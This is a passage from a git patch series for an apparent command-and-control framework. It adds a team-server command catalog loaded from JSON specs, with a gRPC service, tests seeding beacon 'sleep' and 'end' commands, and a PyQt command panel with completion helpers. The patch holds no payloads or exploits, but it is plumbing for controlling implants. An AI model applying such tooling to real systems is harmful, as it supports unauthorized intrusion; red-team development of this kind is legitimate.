a/teamServer/teamServer/TeamServerArtifactService.cpp +++ b/teamServer/teamServer/TeamServerArtifactService.cpp @@ -19,8 +19,10 @@ grpc::Status TeamServerArtifactService::listArtifacts( TeamServerArtifactQuery catalogQuery; catalogQuery.category = query.category(); catalogQuery.scope = query.scope(); + catalogQuery.target = query.target(); catalogQuery.platform = query.platform(); catalogQuery.arch = query.arch(); + catalogQuery.runtime = query.runtime(); catalogQuery.nameContains = query.name_contains(); const std::vector artifacts = m_catalog.listArtifacts(catalogQuery); @@ -43,9 +45,11 @@ teamserverapi::ArtifactSummary TeamServerArtifactService::toProto(const TeamServ summary.set_display_name(artifact.displayName); summary.set_category(artifact.category); summary.set_scope(artifact.scope); + summary.set_target(artifact.target); summary.set_platform(artifact.platform); summary.set_arch(artifact.arch); summary.set_format(artifact.format); + summary.set_runtime(artifact.runtime); summary.set_source(artifact.source); summary.set_size(artifact.size); summary.set_sha256(artifact.sha256); diff --git a/teamServer/teamServer/TeamServerCommandCatalog.cpp b/teamServer/teamServer/TeamServerCommandCatalog.cpp new file mode 100644 index 0000000..35f7efb --- /dev/null +++ b/teamServer/teamServer/TeamServerCommandCatalog.cpp @@ -0,0 +1,217 @@ +#include "TeamServerCommandCatalog.hpp" + +#include +#include +#include +#include +#include +#include +#include +#include + +namespace fs = std::filesystem; +using json = nlohmann::json; + +namespace +{ +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +std::string jsonString(const json& input, const char* key, const std::string& fallback = "") +{ + auto it = input.find(key); + if (it == input.end() || !it->is_string()) + return fallback; + return it->get(); +} + +bool jsonBool(const json& input, const char* key, bool fallback = false) +{ + auto it = input.find(key); + if (it == input.end() || !it->is_boolean()) + return fallback; + return it->get(); +} + +std::vector jsonStringList(const json& input, const char* key) +{ + std::vector values; + auto it = input.find(key); + if (it == input.end() || !it->is_array()) + return values; + + for (const auto& value : *it) + { + if (value.is_string()) + values.push_back(value.get()); + } + return values; +} + +bool containsCaseInsensitive(const std::string& haystack, const std::string& needle) +{ + if (needle.empty()) + return true; + return toLower(haystack).find(toLower(needle)) != std::string::npos; +} + +bool matchesExact(const std::string& requested, const std::string& actual) +{ + return requested.empty() || toLower(requested) == toLower(actual); +} + +bool listContainsOrAny(const std::vector& values, const std::string& requested) +{ + if (requested.empty()) + return true; + + const std::string requestedLower = toLower(requested); + for (const std::string& value : values) + { + const std::string valueLower = toLower(value); + if (valueLower == requestedLower || valueLower == "any") + return true; + } + return false; +} + +bool matchesQuery(const TeamServerCommandSpecRecord& command, const TeamServerCommandQuery& query) +{ + return matchesExact(query.kind, command.kind) + && matchesExact(query.target, command.target) + && listContainsOrAny(command.platforms, query.platform) + && containsCaseInsensitive(command.name, query.nameContains); +} + +TeamServerCommandArtifactFilter parseArtifactFilter(const json& input) +{ + TeamServerCommandArtifactFilter filter; + filter.category = jsonString(input, "category"); + filter.target = jsonString(input, "target"); + filter.platform = jsonString(input, "platform"); + filter.arch = jsonString(input, "arch"); + filter.runtime = jsonString(input, "runtime"); + return filter; +} + +TeamServerCommandArgSpec parseArgSpec(const json& input) +{ + TeamServerCommandArgSpec arg; + arg.name = jsonString(input, "name"); + arg.type = jsonString(input, "type", "text"); + arg.required = jsonBool(input, "required", false); + arg.description = jsonString(input, "description"); + arg.values = jsonStringList(input, "values"); + arg.variadic = jsonBool(input, "variadic", false); + + auto artifactFilterIt = input.find("artifact_filter"); + if (artifactFilterIt != input.end() && artifactFilterIt->is_object()) + { + arg.artifactFilter = parseArtifactFilter(*artifactFilterIt); + arg.hasArtifactFilter = true; + } + return arg; +} + +TeamServerCommandSpecRecord parseCommandSpec(const fs::path& path) +{ + std::ifstream input(path); + if (!input.good()) + return {}; + + json spec = json::parse(input, nullptr, false); + if (spec.is_discarded() || !spec.is_object()) + return {}; + + TeamServerCommandSpecRecord command; + command.name = jsonString(spec, "name"); + command.displayName = jsonString(spec, "display_name", command.name); + command.kind = jsonString(spec, "kind", "module"); + command.description = jsonString(spec, "description"); + command.target = jsonString(spec, "target", "beacon"); + command.requiresSession = jsonBool(spec, "requires_session", true); + command.platforms = jsonStringList(spec, "platforms"); + command.archs = jsonStringList(spec, "archs"); + command.examples = jsonStringList(spec, "examples"); + command.source = jsonString(spec, "source", "manifest"); + command.internalPath = path.string(); + + auto argsIt = spec.find("args"); + if (argsIt != spec.end() && argsIt->is_array()) + { + for (const auto& arg : *argsIt) + { + if (arg.is_object()) + command.args.push_back(parseArgSpec(arg)); + } + } + + if (command.platforms.empty()) + command.platforms.push_back("any"); + if (command.archs.empty()) + command.archs.push_back("any"); + + return command; +} + +std::vector loadManifestCommands(const fs::path& root) +{ + std::vector commands; + std::error_code ec; + if (root.empty() || !fs::exists(root, ec) || !fs::is_directory(root, ec)) + return commands; + + fs::recursive_directory_iterator iterator(root, fs::directory_options::skip_permission_denied, ec); + const fs::recursive_directory_iterator end; + if (ec) + return commands; + + for (; iterator != end; iterator.increment(ec)) + { + if (ec) + { + ec.clear(); + continue; + } + const fs::path path = iterator->path(); + if (!fs::is_regular_file(path, ec) || path.extension() != ".json") + continue; + + TeamServerCommandSpecRecord command = parseCommandSpec(path); + if (!command.name.empty()) + commands.push_back(std::move(command)); + } + return commands; +} + +bool sortCommands(const TeamServerCommandSpecRecord& left, const TeamServerCommandSpecRecord& right) +{ + return std::tie(left.kind, left.target, left.name, left.source) + < std::tie(right.kind, right.target, right.name, right.source); +} +} // namespace + +TeamServerCommandCatalog::TeamServerCommandCatalog(TeamServerRuntimeConfig runtimeConfig) + : m_runtimeConfig(std::move(runtimeConfig)) +{ +} + +std::vector TeamServerCommandCatalog::listCommands(const TeamServerCommandQuery& query) const +{ + std::vector commands = loadManifestCommands(m_runtimeConfig.commandSpecsDirectoryPath); + std::vector filteredCommands; + for (const TeamServerCommandSpecRecord& command : commands) + { + if (matchesQuery(command, query)) + filteredCommands.push_back(command); + } + + std::sort(filteredCommands.begin(), filteredCommands.end(), sortCommands); + return filteredCommands; +} diff --git a/teamServer/teamServer/TeamServerCommandCatalog.hpp b/teamServer/teamServer/TeamServerCommandCatalog.hpp new file mode 100644 index 0000000..64b2376 --- /dev/null +++ b/teamServer/teamServer/TeamServerCommandCatalog.hpp @@ -0,0 +1,62 @@ +#pragma once + +#include +#include + +#include "TeamServerRuntimeConfig.hpp" + +struct TeamServerCommandArtifactFilter +{ + std::string category; + std::string target; + std::string platform; + std::string arch; + std::string runtime; +}; + +struct TeamServerCommandArgSpec +{ + std::string name; + std::string type; + bool required = false; + std::string description; + std::vector values; + TeamServerCommandArtifactFilter artifactFilter; + bool hasArtifactFilter = false; + bool variadic = false; +}; + +struct TeamServerCommandSpecRecord +{ + std::string name; + std::string displayName; + std::string kind; + std::string description; + std::string target; + bool requiresSession = false; + std::vector platforms; + std::vector archs; + std::vector args; + std::vector examples; + std::string source; + std::string internalPath; +}; + +struct TeamServerCommandQuery +{ + std::string kind; + std::string target; + std::string platform; + std::string nameContains; +}; + +class TeamServerCommandCatalog +{ +public: + explicit TeamServerCommandCatalog(TeamServerRuntimeConfig runtimeConfig); + + std::vector listCommands(const TeamServerCommandQuery& query = {}) const; + +private: + TeamServerRuntimeConfig m_runtimeConfig; +}; diff --git a/teamServer/teamServer/TeamServerCommandCatalogService.cpp b/teamServer/teamServer/TeamServerCommandCatalogService.cpp new file mode 100644 index 0000000..f43ff24 --- /dev/null +++ b/teamServer/teamServer/TeamServerCommandCatalogService.cpp @@ -0,0 +1,78 @@ +#include "TeamServerCommandCatalogService.hpp" + +#include +#include +#include + +TeamServerCommandCatalogService::TeamServerCommandCatalogService( + std::shared_ptr logger, + TeamServerCommandCatalog catalog) + : m_logger(std::move(logger)), + m_catalog(std::move(catalog)) +{ +} + +grpc::Status TeamServerCommandCatalogService::listCommands( + const teamserverapi::CommandQuery& query, + const CommandWriter& writer) const +{ + TeamServerCommandQuery catalogQuery; + catalogQuery.kind = query.kind(); + catalogQuery.target = query.target(); + catalogQuery.platform = query.platform(); + catalogQuery.nameContains = query.name_contains(); + + const std::vector commands = m_catalog.listCommands(catalogQuery); + m_logger->debug("ListCommands returned {0} command(s)", commands.size()); + + for (const TeamServerCommandSpecRecord& command : commands) + { + if (!writer(toProto(command))) + break; + } + return grpc::Status::OK; +} + +teamserverapi::CommandSpec TeamServerCommandCatalogService::toProto(const TeamServerCommandSpecRecord& command) +{ + teamserverapi::CommandSpec spec; + spec.set_name(command.name); + spec.set_display_name(command.displayName); + spec.set_kind(command.kind); + spec.set_description(command.description); + spec.set_target(command.target); + spec.set_requires_session(command.requiresSession); + spec.set_source(command.source); + + for (const std::string& platform : command.platforms) + spec.add_platforms(platform); + for (const std::string& arch : command.archs) + spec.add_archs(arch); + for (const std::string& example : command.examples) + spec.add_examples(example); + + for (const TeamServerCommandArgSpec& arg : command.args) + { + teamserverapi::CommandArgSpec* argSpec = spec.add_args(); + argSpec->set_name(arg.name); + argSpec->set_type(arg.type); + argSpec->set_required(arg.required); + argSpec->set_description(arg.description); + argSpec->set_variadic(arg.variadic); + for (const std::string& value : arg.values) + argSpec->add_values(value); + + if (arg.hasArtifactFilter) + { + teamserverapi::ArtifactQuery* filter = argSpec->mutable_artifact_filter(); + filter->set_category(arg.artifactFilter.category); + filter->set_target(arg.artifactFilter.target); + filter->set_scope(arg.artifactFilter.target); + filter->set_platform(arg.artifactFilter.platform); + filter->set_arch(arg.artifactFilter.arch); + filter->set_runtime(arg.artifactFilter.runtime); + } + } + + return spec; +} diff --git a/teamServer/teamServer/TeamServerCommandCatalogService.hpp b/teamServer/teamServer/TeamServerCommandCatalogService.hpp new file mode 100644 index 0000000..c707d12 --- /dev/null +++ b/teamServer/teamServer/TeamServerCommandCatalogService.hpp @@ -0,0 +1,30 @@ +#pragma once + +#include +#include + +#include + +#include "TeamServerApi.pb.h" +#include "TeamServerCommandCatalog.hpp" +#include "spdlog/logger.h" + +class TeamServerCommandCatalogService +{ +public: + using CommandWriter = std::function; + + TeamServerCommandCatalogService( + std::shared_ptr logger, + TeamServerCommandCatalog catalog); + + grpc::Status listCommands( + const teamserverapi::CommandQuery& query, + const CommandWriter& writer) const; + +private: + static teamserverapi::CommandSpec toProto(const TeamServerCommandSpecRecord& command); + + std::shared_ptr m_logger; + TeamServerCommandCatalog m_catalog; +}; diff --git a/teamServer/teamServer/TeamServerConfig.json b/teamServer/teamServer/TeamServerConfig.json index 40e8751..4a0cdc4 100644 --- a/teamServer/teamServer/TeamServerConfig.json +++ b/teamServer/teamServer/TeamServerConfig.json @@ -10,6 +10,7 @@ "SupportedWindowsArchs": ["x86", "x64", "arm64"], "ToolsDirectoryPath": "../Tools/", "ScriptsDirectoryPath": "../Scripts/", + "CommandSpecsDirectoryPath": "../CommandSpecs/", "//Host contacted by the beacon": "3 following value are related to the host, probably a proxy, that will be contacted by the beacon, if DomainName is filled it will be selected first, then the ExposedIp and then the IpInterface", "DomainName": "", "ExposedIp": "", diff --git a/teamServer/teamServer/TeamServerRuntimeConfig.cpp b/teamServer/teamServer/TeamServerRuntimeConfig.cpp index de052b4..d4d845d 100644 --- a/teamServer/teamServer/TeamServerRuntimeConfig.cpp +++ b/teamServer/teamServer/TeamServerRuntimeConfig.cpp @@ -20,6 +20,8 @@ TeamServerRuntimeConfig TeamServerRuntimeConfig::fromJson(const nlohmann::json& runtimeConfig.windowsBeaconsDirectoryPath = config["WindowsBeaconsDirectoryPath"].get(); runtimeConfig.toolsDirectoryPath = config["ToolsDirectoryPath"].get(); runtimeConfig.scriptsDirectoryPath = config["ScriptsDirectoryPath"].get(); + if (auto it = config.find("CommandSpecsDirectoryPath"); it != config.end() && it->is_string()) + runtimeConfig.commandSpecsDirectoryPath = it->get(); if (auto it = config.find("DefaultWindowsArch"); it != config.end() && it->is_string()) runtimeConfig.defaultWindowsArch = normalizeWindowsArch(it->get()); if (auto it = config.find("SupportedWindowsArchs"); it != config.end() && it->is_array()) @@ -105,6 +107,9 @@ void TeamServerRuntimeConfig::validateDirectories(const std::shared_ptrerror("Script directory path don't exist: {0}", scriptsDirectoryPath.c_str()); + + if (!fs::exists(commandSpecsDirectoryPath)) + logger->error("Command specs directory path don't exist: {0}", commandSpecsDirectoryPath.c_str()); } void TeamServerRuntimeConfig::configureCommonCommands(CommonCommands& commonCommands) const diff --git a/teamServer/teamServer/TeamServerRuntimeConfig.hpp b/teamServer/teamServer/TeamServerRuntimeConfig.hpp index 402e581..e82fc89 100644 --- a/teamServer/teamServer/TeamServerRuntimeConfig.hpp +++ b/teamServer/teamServer/TeamServerRuntimeConfig.hpp @@ -22,6 +22,7 @@ struct TeamServerRuntimeConfig std::string windowsBeaconsDirectoryPath; std::string toolsDirectoryPath; std::string scriptsDirectoryPath; + std::string commandSpecsDirectoryPath = "../CommandSpecs/"; std::string defaultWindowsArch = "x64"; std::vector supportedWindowsArchs = {"x86", "x64", "arm64"}; diff --git a/teamServer/tests/TeamServerArtifactCatalogTests.cpp b/teamServer/tests/TeamServerArtifactCatalogTests.cpp index b9a6277..4320e65 100644 --- a/teamServer/tests/TeamServerArtifactCatalogTests.cpp +++ b/teamServer/tests/TeamServerArtifactCatalogTests.cpp @@ -135,7 +135,9 @@ void testCatalogIndexesReleaseRoots() const TeamServerArtifactRecord* windowsModule = findArtifact(artifacts, "winmod64.dll", "module", "windows", "x64"); assert(windowsModule != nullptr); assert(windowsModule->scope == "beacon"); + assert(windowsModule->target == "beacon"); assert(windowsModule->format == "dll"); + assert(windowsModule->runtime == "native"); assert(windowsModule->source == "release"); assert(windowsModule->size == 18); assert(windowsModule->sha256.size() == 64); @@ -146,11 +148,14 @@ void testCatalogIndexesReleaseRoots() assert(linuxBeacon != nullptr); assert(linuxBeacon->format == "binary"); assert(linuxBeacon->scope == "implant"); + assert(linuxBeacon->target == "listener"); const TeamServerArtifactRecord* script = findArtifact(artifacts, "startup.py", "script", "any", "any"); assert(script != nullptr); assert(script->scope == "teamserver"); + assert(script->target == "teamserver"); assert(script->format == "py"); + assert(script->runtime == "python"); } void testCatalogFiltersArtifacts() @@ -205,6 +210,8 @@ void testArtifactServiceStreamsPublicMetadataOnly() assert(summaries[0].name() == "startup.py"); assert(summaries[0].category() == "script"); assert(summaries[0].scope() == "teamserver"); + assert(summaries[0].target() == "teamserver"); + assert(summaries[0].runtime() == "python"); assert(summaries[0].sha256().size() == 64); assert(summaries[0].DebugString().find(tempRoot.path().string()) == std::string::npos); } diff --git a/teamServer/tests/TeamServerCommandCatalogTests.cpp b/teamServer/tests/TeamServerCommandCatalogTests.cpp new file mode 100644 index 0000000..96d3e57 --- /dev/null +++ b/teamServer/tests/TeamServerCommandCatalogTests.cpp @@ -0,0 +1,206 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "TeamServerCommandCatalog.hpp" +#include "TeamServerCommandCatalogService.hpp" +#include "spdlog/logger.h" + +namespace fs = std::filesystem; + +namespace +{ +class ScopedPath +{ +public: + explicit ScopedPath(fs::path path) + : m_path(std::move(path)) + { + std::error_code ec; + fs::remove_all(m_path, ec); + fs::create_directories(m_path); + } + + ~ScopedPath() + { + std::error_code ec; + fs::remove_all(m_path, ec); + } + + const fs::path& path() const + { + return m_path; + } + +private: + fs::path m_path; +}; + +fs::path makeTempDirectory(const std::string& name) +{ + return fs::temp_directory_path() / ("c2teamserver-command-catalog-" + name + "-" + std::to_string(::getpid())); +} + +std::shared_ptr makeLogger() +{ + auto logger = std::make_shared("command-catalog-tests"); + logger->set_level(spdlog::level::off); + return logger; +} + +TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) +{ + TeamServerRuntimeConfig runtimeConfig; + runtimeConfig.commandSpecsDirectoryPath = (root / "CommandSpecs").string(); + fs::create_directories(runtimeConfig.commandSpecsDirectoryPath); + return runtimeConfig; +} + +void writeFile(const fs::path& path, const std::string& content) +{ + fs::create_directories(path.parent_path()); + std::ofstream output(path, std::ios::binary); + output << content; +} + +void seedCommandSpecs(const TeamServerRuntimeConfig& runtimeConfig) +{ + writeFile( + fs::path(runtimeConfig.commandSpecsDirectoryPath) / "common" / "sleep.json", + R"JSON({ + "name": "sleep", + "display_name": "sleep", + "kind": "common", + "description": "Set beacon sleep interval.", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [ + { + "name": "seconds", + "type": "number", + "required": true, + "description": "Sleep interval." + } + ], + "examples": ["sleep 0.5"], + "source": "manifest" +})JSON"); + writeFile( + fs::path(runtimeConfig.commandSpecsDirectoryPath) / "common" / "end.json", + R"JSON({ + "name": "end", + "kind": "common", + "description": "Terminate beacon.", + "target": "beacon", + "requires_session": true, + "platforms": ["windows", "linux"], + "archs": ["any"], + "args": [], + "examples": ["end"], + "source": "manifest" +})JSON"); + writeFile(fs::path(runtimeConfig.commandSpecsDirectoryPath) / "common" / "broken.json", "{"); +} + +const TeamServerCommandSpecRecord* findCommand( + const std::vector& commands, + const std::string& name) +{ + for (const TeamServerCommandSpecRecord& command : commands) + { + if (command.name == name) + return &command; + } + return nullptr; +} + +void testCommandCatalogLoadsManifestSpecs() +{ + ScopedPath tempRoot(makeTempDirectory("loads")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedCommandSpecs(runtimeConfig); + + TeamServerCommandCatalog catalog(runtimeConfig); + const std::vector commands = catalog.listCommands(); + + assert(commands.size() == 2); + + const TeamServerCommandSpecRecord* sleep = findCommand(commands, "sleep"); + assert(sleep != nullptr); + assert(sleep->kind == "common"); + assert(sleep->target == "beacon"); + assert(sleep->requiresSession); + assert(sleep->platforms.size() == 2); + assert(sleep->args.size() == 1); + assert(sleep->args[0].name == "seconds"); + assert(sleep->args[0].type == "number"); + assert(sleep->args[0].required); + assert(sleep->examples.size() == 1); + + const TeamServerCommandSpecRecord* end = findCommand(commands, "end"); + assert(end != nullptr); + assert(end->args.empty()); +} + +void testCommandCatalogFiltersSpecs() +{ + ScopedPath tempRoot(makeTempDirectory("filters")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedCommandSpecs(runtimeConfig); + + TeamServerCommandCatalog catalog(runtimeConfig); + TeamServerCommandQuery query; + query.kind = "common"; + query.platform = "windows"; + query.nameContains = "sle"; + + const std::vector commands = catalog.listCommands(query); + assert(commands.size() == 1); + assert(commands[0].name == "sleep"); + + query.platform = "macos"; + assert(catalog.listCommands(query).empty()); +} + +void testCommandCatalogServiceStreamsProto() +{ + ScopedPath tempRoot(makeTempDirectory("service")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedCommandSpecs(runtimeConfig); + + TeamServerCommandCatalogService service(makeLogger(), TeamServerCommandCatalog(runtimeConfig)); + teamserverapi::CommandQuery query; + query.set_name_contains("sleep"); + + std::vector commands; + assert(service.listCommands(query, [&](const teamserverapi::CommandSpec& command) + { + commands.push_back(command); + return true; + }).ok()); + + assert(commands.size() == 1); + assert(commands[0].name() == "sleep"); + assert(commands[0].kind() == "common"); + assert(commands[0].requires_session()); + assert(commands[0].args_size() == 1); + assert(commands[0].args(0).name() == "seconds"); + assert(commands[0].args(0).type() == "number"); + assert(commands[0].DebugString().find(tempRoot.path().string()) == std::string::npos); +} +} // namespace + +int main() +{ + testCommandCatalogLoadsManifestSpecs(); + testCommandCatalogFiltersSpecs(); + testCommandCatalogServiceStreamsProto(); + return 0; +} From 81854f64638b815f272d22eafd0ed045c8aaf82f Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 13:28:24 +0200 Subject: [PATCH 24/82] Add command catalog UI and module command specs --- C2Client/C2Client/CommandPanel.py | 286 +++++++++++++++++++++++++++ C2Client/C2Client/ConsolePanel.py | 107 +++++++++- C2Client/TODO.md | 2 +- C2Client/tests/test_command_panel.py | 106 ++++++++++ C2Client/tests/test_console_panel.py | 30 ++- core | 2 +- packaging/validate_release.py | 7 + teamServer/CMakeLists.txt | 10 + 8 files changed, 542 insertions(+), 8 deletions(-) create mode 100644 C2Client/C2Client/CommandPanel.py create mode 100644 C2Client/tests/test_command_panel.py diff --git a/C2Client/C2Client/CommandPanel.py b/C2Client/C2Client/CommandPanel.py new file mode 100644 index 0000000..2884a85 --- /dev/null +++ b/C2Client/C2Client/CommandPanel.py @@ -0,0 +1,286 @@ +from __future__ import annotations + +import html +from typing import Any + +from PyQt6.QtCore import Qt +from PyQt6.QtWidgets import ( + QAbstractItemView, + QComboBox, + QHBoxLayout, + QHeaderView, + QLabel, + QLineEdit, + QPushButton, + QSizePolicy, + QTableWidget, + QTableWidgetItem, + QTextBrowser, + QVBoxLayout, + QWidget, +) + +from .console_style import CONSOLE_COLORS, apply_console_output_style +from .grpcClient import TeamServerApi_pb2 +from .panel_style import apply_dark_panel_style +from .ui_status import StatusKind, apply_status, compact_message + + +CommandTabTitle = "Commands" + +ALL_FILTER = "All" +KIND_FILTERS = [ALL_FILTER, "common", "module"] +TARGET_FILTERS = [ALL_FILTER, "beacon", "teamserver", "operator", "any"] +PLATFORM_FILTERS = [ALL_FILTER, "windows", "linux", "macos", "any"] + +COL_NAME = 0 +COL_KIND = 1 +COL_TARGET = 2 +COL_PLATFORMS = 3 +COL_ARGS = 4 +COL_EXAMPLES = 5 +COL_SOURCE = 6 + + +def _text(value: Any) -> str: + return str(value or "").strip() + + +def _field(value: Any, name: str, default: Any = "") -> Any: + return getattr(value, name, default) + + +def _list_field(value: Any, name: str) -> list[Any]: + field = _field(value, name, []) + try: + return list(field) + except TypeError: + return [] + + +def _join_values(values: list[Any]) -> str: + return ", ".join(_text(value) for value in values if _text(value)) + + +def format_arg_summary(command: Any) -> str: + args = _list_field(command, "args") + if not args: + return "-" + labels = [] + for arg in args: + label = _text(_field(arg, "name")) + arg_type = _text(_field(arg, "type")) + if arg_type: + label += f":{arg_type}" + if not bool(_field(arg, "required", False)): + label = f"[{label}]" + if bool(_field(arg, "variadic", False)): + label += "..." + labels.append(label) + return " ".join(labels) + + +class Commands(QWidget): + COLUMN_WIDTHS = [150, 78, 92, 160, 240, 240, 90] + STRETCH_COLUMN = COL_EXAMPLES + + def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: + super().__init__(parent) + self.grpcClient = grpcClient + self.commands: list[Any] = [] + apply_dark_panel_style(self) + + self.layout = QVBoxLayout(self) + self.layout.setContentsMargins(0, 0, 0, 0) + self.layout.setSpacing(6) + + toolbar = QHBoxLayout() + toolbar.setSpacing(6) + + self.kindFilter = self.createFilter(KIND_FILTERS, "Filter by command kind.") + self.targetFilter = self.createFilter(TARGET_FILTERS, "Filter by command target.") + self.platformFilter = self.createFilter(PLATFORM_FILTERS, "Filter by supported platform.") + self.searchInput = QLineEdit(self) + self.searchInput.setPlaceholderText("Name contains") + self.searchInput.setToolTip("Filter commands by name.") + self.searchInput.returnPressed.connect(self.refreshCommands) + + self.refreshButton = self.createToolbarButton("Refresh", "Refresh command catalog.", width=72) + self.refreshButton.clicked.connect(self.refreshCommands) + + toolbar.addWidget(QLabel("Kind")) + toolbar.addWidget(self.kindFilter) + toolbar.addWidget(QLabel("Target")) + toolbar.addWidget(self.targetFilter) + toolbar.addWidget(QLabel("Platform")) + toolbar.addWidget(self.platformFilter) + toolbar.addWidget(self.searchInput, 1) + toolbar.addWidget(self.refreshButton) + self.layout.addLayout(toolbar) + + self.statusLabel = QLabel("") + self.statusLabel.setMinimumHeight(18) + self.layout.addWidget(self.statusLabel) + + self.commandTable = QTableWidget(self) + self.commandTable.setObjectName("C2CommandTable") + self.commandTable.setShowGrid(False) + self.commandTable.setSizePolicy(QSizePolicy.Policy.Expanding, QSizePolicy.Policy.Expanding) + self.commandTable.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) + self.commandTable.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) + self.commandTable.setHorizontalScrollMode(QAbstractItemView.ScrollMode.ScrollPerPixel) + self.commandTable.setRowCount(0) + self.commandTable.setColumnCount(7) + self.commandTable.verticalHeader().setVisible(False) + self.commandTable.itemSelectionChanged.connect(self.updateDetails) + self.configureTableColumns() + self.layout.addWidget(self.commandTable, 3) + + self.details = QTextBrowser(self) + apply_console_output_style(self.details) + self.details.setReadOnly(True) + self.layout.addWidget(self.details, 2) + + self.refreshCommands() + + def createFilter(self, values: list[str], tooltip: str) -> QComboBox: + combo = QComboBox(self) + combo.addItems(values) + combo.setToolTip(tooltip) + combo.setMinimumWidth(96) + return combo + + def createToolbarButton(self, text: str, tooltip: str, width: int = 58) -> QPushButton: + button = QPushButton(text, self) + button.setToolTip(tooltip) + button.setFixedHeight(26) + button.setMinimumWidth(width) + button.setMaximumWidth(width) + return button + + def configureTableColumns(self) -> None: + header = self.commandTable.horizontalHeader() + header.setStretchLastSection(False) + header.setMinimumSectionSize(54) + for index, width in enumerate(self.COLUMN_WIDTHS): + if index == self.STRETCH_COLUMN: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Stretch) + else: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Interactive) + self.commandTable.setColumnWidth(index, width) + + def buildQuery(self) -> Any: + query = TeamServerApi_pb2.CommandQuery() + kind = self.kindFilter.currentText() + if kind != ALL_FILTER: + query.kind = kind + target = self.targetFilter.currentText() + if target != ALL_FILTER: + query.target = target + platform = self.platformFilter.currentText() + if platform != ALL_FILTER: + query.platform = platform + name_contains = self.searchInput.text().strip() + if name_contains: + query.name_contains = name_contains + return query + + def refreshCommands(self) -> None: + try: + self.commands = list(self.grpcClient.listCommands(self.buildQuery())) + except Exception as exc: + self.commands = [] + self.printCommands() + apply_status( + self.statusLabel, + f"Commands: {compact_message(exc, limit=120)}", + StatusKind.ERROR, + ) + return + + self.printCommands() + apply_status( + self.statusLabel, + f"Commands: {len(self.commands)} item(s)", + StatusKind.SUCCESS, + ) + + def printCommands(self) -> None: + self.commandTable.setRowCount(len(self.commands)) + self.commandTable.setHorizontalHeaderLabels( + ["Name", "Kind", "Target", "Platforms", "Args", "Examples", "Source"] + ) + + for row, command in enumerate(self.commands): + values = [ + _text(_field(command, "name")), + _text(_field(command, "kind")), + _text(_field(command, "target")), + _join_values(_list_field(command, "platforms")), + format_arg_summary(command), + _join_values(_list_field(command, "examples")), + _text(_field(command, "source")), + ] + tooltip = _text(_field(command, "description")) + + for column, value in enumerate(values): + item = QTableWidgetItem(value) + item.setFlags(item.flags() & ~Qt.ItemFlag.ItemIsEditable) + item.setData(Qt.ItemDataRole.UserRole, row) + if tooltip: + item.setToolTip(tooltip) + self.commandTable.setItem(row, column, item) + + self.updateDetails() + + def selectedCommand(self) -> Any | None: + selected_rows = self.commandTable.selectionModel().selectedRows() if self.commandTable.selectionModel() else [] + if not selected_rows: + return None + row = selected_rows[0].row() + if row < 0 or row >= len(self.commands): + return None + return self.commands[row] + + def updateDetails(self) -> None: + command = self.selectedCommand() + if command is None: + self.details.setHtml( + f'

Select a command to inspect its spec.

' + ) + return + + parts = [ + f'

{html.escape(_text(_field(command, "name")))}' + f' ({_text(_field(command, "kind"))})

', + f'

{html.escape(_text(_field(command, "description")))}

', + '

' + f'target {html.escape(_text(_field(command, "target")))} ' + f'platforms {html.escape(_join_values(_list_field(command, "platforms")))} ' + f'archs {html.escape(_join_values(_list_field(command, "archs")))}' + '

', + ] + + args = _list_field(command, "args") + if args: + parts.append(f'

args

') + parts.append("
    ") + for arg in args: + required = "required" if bool(_field(arg, "required", False)) else "optional" + parts.append( + "
  • " + f'{html.escape(_text(_field(arg, "name")))}' + f' {html.escape(_text(_field(arg, "type")))} / {required}' + f' {html.escape(_text(_field(arg, "description")))}' + "
  • " + ) + parts.append("
") + + examples = _list_field(command, "examples") + if examples: + parts.append(f'

examples

') + parts.append("
")
+            parts.append(html.escape("\n".join(_text(example) for example in examples)))
+            parts.append("
") + + self.details.setHtml("".join(parts)) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index d6090d9..fa66fe0 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -27,6 +27,7 @@ from .ScriptPanel import Script from .AssistantPanel import Assistant from .ArtifactPanel import Artifacts, ArtifactTabTitle +from .CommandPanel import Commands, CommandTabTitle from .TerminalModules.Credentials import credentials from .console_style import ( CONSOLE_COLORS, @@ -67,7 +68,7 @@ # Constant # TerminalTabTitle = "Terminal" -SYSTEM_TAB_COUNT = 4 +SYSTEM_TAB_COUNT = 5 CmdHistoryFileName = ".cmdHistory" HelpInstruction = "help" @@ -331,6 +332,99 @@ ] +def _completion_child(text): + text = str(text or "").strip() + return (text, []) if text else None + + +def _completion_suffix(command_name, example): + command_name = str(command_name or "").strip() + example = str(example or "").strip() + if not command_name or not example: + return None + if example == command_name: + return None + prefix = command_name + " " + if example.startswith(prefix): + return example[len(prefix):].strip() + return example + + +def _command_spec_children(command): + children = [] + seen = set() + + for example in getattr(command, "examples", []): + child = _completion_child(_completion_suffix(getattr(command, "name", ""), example)) + if child and child[0] not in seen: + children.append(child) + seen.add(child[0]) + + for arg in getattr(command, "args", []): + for value in getattr(arg, "values", []): + child = _completion_child(value) + if child and child[0] not in seen: + children.append(child) + seen.add(child[0]) + + return children + + +def command_specs_to_completer_data(command_specs): + entries = [] + seen = set() + for command in command_specs: + name = str(getattr(command, "name", "") or "").strip() + if not name or name in seen: + continue + entries.append((name, _command_spec_children(command))) + seen.add(name) + return entries + + +def _merge_child_entries(primary, fallback): + merged = [] + seen = set() + for text, children in [*primary, *fallback]: + if text in seen: + continue + merged.append((text, children)) + seen.add(text) + return merged + + +def merge_completer_data(server_data, fallback_data): + merged = 